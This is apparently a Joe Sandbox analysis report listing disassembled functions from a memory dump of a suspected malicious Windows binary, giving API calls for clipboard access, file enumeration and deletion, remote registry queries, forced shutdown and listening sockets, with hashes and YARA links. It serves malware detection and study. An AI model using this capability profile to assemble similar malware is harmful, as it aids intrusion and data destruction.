DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0042EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0042EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0042ECD2
GlobalUnlock.KERNEL32(00000000), ref: 0042ECF3
CountClipboardFormats.USER32 ref: 0042ED14
CloseClipboard.USER32 ref: 0042ED59

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 6218823773cf4568fac66e48d3da6d6dfb0414db60c7025f2f36194346505e00
Instruction ID: f2e9727697eccac667a15369835d6da8ade05ba1585bb957ffe7379f34b2e28e
Opcode Fuzzy Hash: 6218823773cf4568fac66e48d3da6d6dfb0414db60c7025f2f36194346505e00
Instruction Fuzzy Hash: 1F6105342043029FD300EF21E884F6A7BE4AF85704F58446EF5468B2A2CB75ED05CB6A

Function 0042698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 004269BE
FindClose.KERNEL32(00000000), ref: 00426A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00426A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00426A75

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00426AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00426ADF

Strings

%4d%02d%02d%02d%02d%02d%03d, xrefs: 00426B32
%03d, xrefs: 00426DA2
%4d, xrefs: 00426BB1
%4d%02d%02d%02d%02d%02d, xrefs: 00426B6A
%02d, xrefs: 00426C00, 00426C0A, 00426C5A, 00426CAA, 00426CFA, 00426D4A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: f832ce2a46f0e7e138b3c63260e14d787a656621591fa299f6fb2f39dc43a96d
Instruction ID: bfc3c58c6fcae487e83314eb0305049de0b75dc09a450045825b84d5683bdcab
Opcode Fuzzy Hash: f832ce2a46f0e7e138b3c63260e14d787a656621591fa299f6fb2f39dc43a96d
Instruction Fuzzy Hash: 93D16471508300AFC711EB64D886EABB7ECAF89704F44491EF689DB251EB74DA44CB62

Function 00429642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00429663
GetFileAttributesW.KERNEL32(?), ref: 004296A1
SetFileAttributesW.KERNEL32(?,?), ref: 004296BB
FindNextFileW.KERNEL32(00000000,?), ref: 004296D3
FindClose.KERNEL32(00000000), ref: 004296DE
FindFirstFileW.KERNEL32(*.*,?), ref: 004296FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0042974A
SetCurrentDirectoryW.KERNEL32(00476B7C), ref: 00429768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00429772
FindClose.KERNEL32(00000000), ref: 0042977F
FindClose.KERNEL32(00000000), ref: 0042978F

Strings

*.*, xrefs: 004296F5

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 98e8ab0b2f163abfd4a04ca4a14ecbfbd46758e8cca06c5afc52fb4f207a5d6f
Instruction ID: 97e4743001bd377da7d69f66e10ef0ab60c766ccbf3716bb7faca6264634b3ea
Opcode Fuzzy Hash: 98e8ab0b2f163abfd4a04ca4a14ecbfbd46758e8cca06c5afc52fb4f207a5d6f
Instruction Fuzzy Hash: 0831F836601629ABDB10AFB4EC49ADF37ACAF4A320F5440A7F904E2190D778DD448A1C

Function 0042979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 004297BE
FindNextFileW.KERNEL32(00000000,?), ref: 00429819
FindClose.KERNEL32(00000000), ref: 00429824
FindFirstFileW.KERNEL32(*.*,?), ref: 00429840
SetCurrentDirectoryW.KERNEL32(?), ref: 00429890
SetCurrentDirectoryW.KERNEL32(00476B7C), ref: 004298AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 004298B8
FindClose.KERNEL32(00000000), ref: 004298C5
FindClose.KERNEL32(00000000), ref: 004298D5

Part of subcall function 0041DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0041DB00

Strings

*.*, xrefs: 0042983B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: b5dad5691d5f52c543aa9a11a781cdd6e6af6ca10728de773929938c4bc4e33f
Instruction ID: 4f855214df90bf1617a894b726f4a62019501af49d2ca0e76ba27f156e8cc8f8
Opcode Fuzzy Hash: b5dad5691d5f52c543aa9a11a781cdd6e6af6ca10728de773929938c4bc4e33f
Instruction Fuzzy Hash: E331DA316016296ADF14EFB5FC44ADF776CAF06320F584167E914E2290DB78DD45CA2C

Function 0043BE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0043B6AE,?,?), ref: 0043C9B5
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043C9F1
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA68
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043BF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 0043BFA9
RegCloseKey.ADVAPI32(00000000), ref: 0043BFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0043C02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0043C0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0043C154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0043C1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0043C23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0043C2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0043C382
RegCloseKey.ADVAPI32(00000000), ref: 0043C38F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: ecfeac88184971b1d1b312818f247142fe955173464b23f904723032e8a6d007
Instruction ID: 01b684b816de2334f3f60dac911feb5f9c1507d1e6ef1e60c786ffff2d9f635c
Opcode Fuzzy Hash: ecfeac88184971b1d1b312818f247142fe955173464b23f904723032e8a6d007
Instruction Fuzzy Hash: 81025C716042009FD715CF24C8D1E2ABBE5EF89308F18949EF94ADB2A2D735EC45CB55

Function 00428195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00428257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00428267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00428273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00428310
SetCurrentDirectoryW.KERNEL32(?), ref: 00428324
SetCurrentDirectoryW.KERNEL32(?), ref: 00428356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0042838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00428395

Strings

*.*, xrefs: 0042839B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 9704a876d3c43fdd3aea037f8011a810336c1b30e42b73a9fb6c255a6f0f03dc
Instruction ID: f1fb5722247fd9d8ea42e6a4e3af54b1068ab5f9270e4799f4b1596115e78766
Opcode Fuzzy Hash: 9704a876d3c43fdd3aea037f8011a810336c1b30e42b73a9fb6c255a6f0f03dc
Instruction Fuzzy Hash: 6E616A726043159FCB10EF60D8809AFB3E8FF89314F44896EF98987251EB35E945CB96

Function 0041D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003B3A97,?,?,003B2E7F,?,?,?,00000000), ref: 003B3AC2

Part of subcall function 0041E199: GetFileAttributesW.KERNEL32(?,0041CF95), ref: 0041E19A

FindFirstFileW.KERNEL32(?,?), ref: 0041D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0041D1DD
MoveFileW.KERNEL32(?,?), ref: 0041D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0041D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0041D237

Part of subcall function 0041D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0041D21C,?,?), ref: 0041D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0041D253
FindClose.KERNEL32(00000000), ref: 0041D264

Strings

\*.*, xrefs: 0041D0CD, 0041D0D6, 0041D0EB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 3ce0486e1612216bd1219b33e2e8cb293b0afc18dee6dfb5ca07e38c6ec253a3
Instruction ID: cbd148edaea074dafbe1c95e24bd6c40215c017d8db67fb928cbf558378c283c
Opcode Fuzzy Hash: 3ce0486e1612216bd1219b33e2e8cb293b0afc18dee6dfb5ca07e38c6ec253a3
Instruction Fuzzy Hash: DE618F71C0110DABCF06EBE0C992AEEB7B5AF15304F2441AAE502BB191EB345F49CB65

Function 0042ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042ED91
EmptyClipboard.USER32 ref: 0042ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0042EDAC
CloseClipboard.USER32 ref: 0042EEA3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 3350a9956213fb58508eab75518f12ec3bbe53a05acfaec0ae9e7874a62d2e9e
Instruction ID: 0e3ced3f618b79905d6d8445a22256dde90084b05924d806dce700944ee8cf94
Opcode Fuzzy Hash: 3350a9956213fb58508eab75518f12ec3bbe53a05acfaec0ae9e7874a62d2e9e
Instruction Fuzzy Hash: 1641C0356056219FE320CF16E888B1ABBE5FF45318F59C0AAE4158F762C775EC42CB94

Function 0041E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 004116C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0041170D
Part of subcall function 004116C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0041173A
Part of subcall function 004116C3: GetLastError.KERNEL32 ref: 0041174A

ExitWindowsEx.USER32(?,00000000), ref: 0041E932

Strings

, xrefs: 0041E920
@, xrefs: 0041E925
SeShutdownPrivilege, xrefs: 0041E902
, xrefs: 0041E95C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 3d1546bbcc38ab9c473e579039b7697558b4aecc8ead145c7521646dcfc15b53
Instruction ID: ee79e47083b1c775983bba966f6933b6b6a7c60515d32a94a0ad10ee507fa0ac
Opcode Fuzzy Hash: 3d1546bbcc38ab9c473e579039b7697558b4aecc8ead145c7521646dcfc15b53
Instruction Fuzzy Hash: E2012BBAA20311ABEB5427B69C86FFF725C9B08744F150427FD03E21D1D5AD5CC081AC

Function 00431204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00431276
WSAGetLastError.WSOCK32 ref: 00431283
bind.WSOCK32(00000000,?,00000010), ref: 004312BA
WSAGetLastError.WSOCK32 ref: 004312C5
closesocket.WSOCK32(00000000), ref: 004312F4
listen.WSOCK32(00000000,00000005), ref: 00431303
WSAGetLastError.WSOCK32 ref: 0043130D
closesocket.WSOCK32(00000000), ref: 0043133C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 1bf26688f36e1cda1e7e1d932fdcbc9a8e99639afa262ba1ba108d71a06ed28a
Instruction ID: cad02c8c18dad8e5f2d055b4a21936ce5223f4490618f1b79e4d440c71d3822d
Opcode Fuzzy Hash: 1bf26688f36e1cda1e7e1d932fdcbc9a8e99639afa262ba1ba108d71a06ed28a
Instruction Fuzzy Hash: 0241AF356001009FD710EF24C488B6AFBE5AF4A318F188099E8569F3A6C775EC82CBA5

Function 003EB952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 003EB9D4
_free.LIBCMT ref: 003EB9F8
_free.LIBCMT ref: 003EBB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00453700), ref: 003EBB91
WideCharToMultiByte.KERNEL32(00000000,00000000,0048121C,000000FF,00000000,0000003F,00000000,?,?), ref: 003EBC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00481270,000000FF,?,0000003F,00000000,?), ref: 003EBC36
_free.LIBCMT ref: 003EBD4B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 303e5954983d35f924b9191dc56a967301ad1f1069ebc273b37f9c38d8463e13
Instruction ID: e3f2f9ac1e32102d8de53467d9c81408d1ce6286290b2d088125748ee0bb085b
Opcode Fuzzy Hash: 303e5954983d35f924b9191dc56a967301ad1f1069ebc273b37f9c38d8463e13
Instruction Fuzzy Hash: EAC138719042A59FCB239F6A9C41AAFFBACEF41310F1543AAE491DB2D2D7308E418750

Function 0041D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003B3A97,?,?,003B2E7F,?,?,?,00000000), ref: 003B3AC2

Part of subcall function 0041E199: GetFileAttributesW.KERNEL32(?,0041CF95), ref: 0041E19A

FindFirstFileW.KERNEL32(?,?), ref: 0041D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0041D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0041D481
FindClose.KERNEL32(00000000), ref: 0041D498
FindClose.KERNEL32(00000000), ref: 0041D4A1

Strings

\*.*, xrefs: 0041D3F2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: c4225c68f0002c5a597380f3d522afd7feb4775667f97975b5906bf3b42049fe
Instruction ID: 12c875e95133ea7b4cd923a243d273e9d52e72132d5fa05d5b594281ed203dea
Opcode Fuzzy Hash: c4225c68f0002c5a597380f3d522afd7feb4775667f97975b5906bf3b42049fe
Instruction Fuzzy Hash: F531A071409345ABC301EF64C8919EFB7E8BE92308F444A2EF5D597291EB34AA09C767

Function 0042648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004264DC
CoInitialize.OLE32(00000000), ref: 00426639
CoCreateInstance.OLE32(0044FCF8,00000000,00000001,0044FB68,?), ref: 00426650
CoUninitialize.OLE32 ref: 004268D4

Strings

.lnk, xrefs: 004264BA, 00426524, 004265E0

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 890f1b0574181a9a7c4246391111f074307055ea7c8b66b5329535f9ef15d16e
Instruction ID: df8ed87ca02f5fd8271d9e7dee5c8264c5f84d995cbe28e20290c7e38f0f6641
Opcode Fuzzy Hash: 890f1b0574181a9a7c4246391111f074307055ea7c8b66b5329535f9ef15d16e
Instruction Fuzzy Hash: 31D15C71608311AFC315EF24D881AABB7E8FF94708F50496EF6958B291DB30ED45CB92

Function 004322DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 004322E8

Part of subcall function 0042E4EC: GetWindowRect.USER32(?,?), ref: 0042E504

GetDesktopWindow.USER32 ref: 00432312
GetWindowRect.USER32(00000000), ref: 00432319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00432355
GetCursorPos.USER32(?), ref: 00432381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 004323DF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 00e274a410b456be978134470f16c4c7dccc41475ef5d0a1bc083920fa111f5b
Instruction ID: 83e31d72b56b74cf4f99253fe12c7070465d35eb5ecf4a557ad53bae420f5f5e
Opcode Fuzzy Hash: 00e274a410b456be978134470f16c4c7dccc41475ef5d0a1bc083920fa111f5b
Instruction Fuzzy Hash: 81312272505315AFD720DF25C844B9BB7A9FF88314F04091EF98597281CB78EA08CB9A

Function 00429B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00429B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00429C8B

Part of subcall function 00423874: GetInputState.USER32 ref: 004238CB
Part of subcall function 00423874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00423966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00429BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00429C75

Strings

*.*, xrefs: 00429B5D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: f415bb93fcb4581b57a749ee3fc77514e9fdc0e8fbaee4302da93e5dc58c1eff
Instruction ID: 0c3609e125d4124389e0026401b9950331d06881be0898cf4367dca55920803f
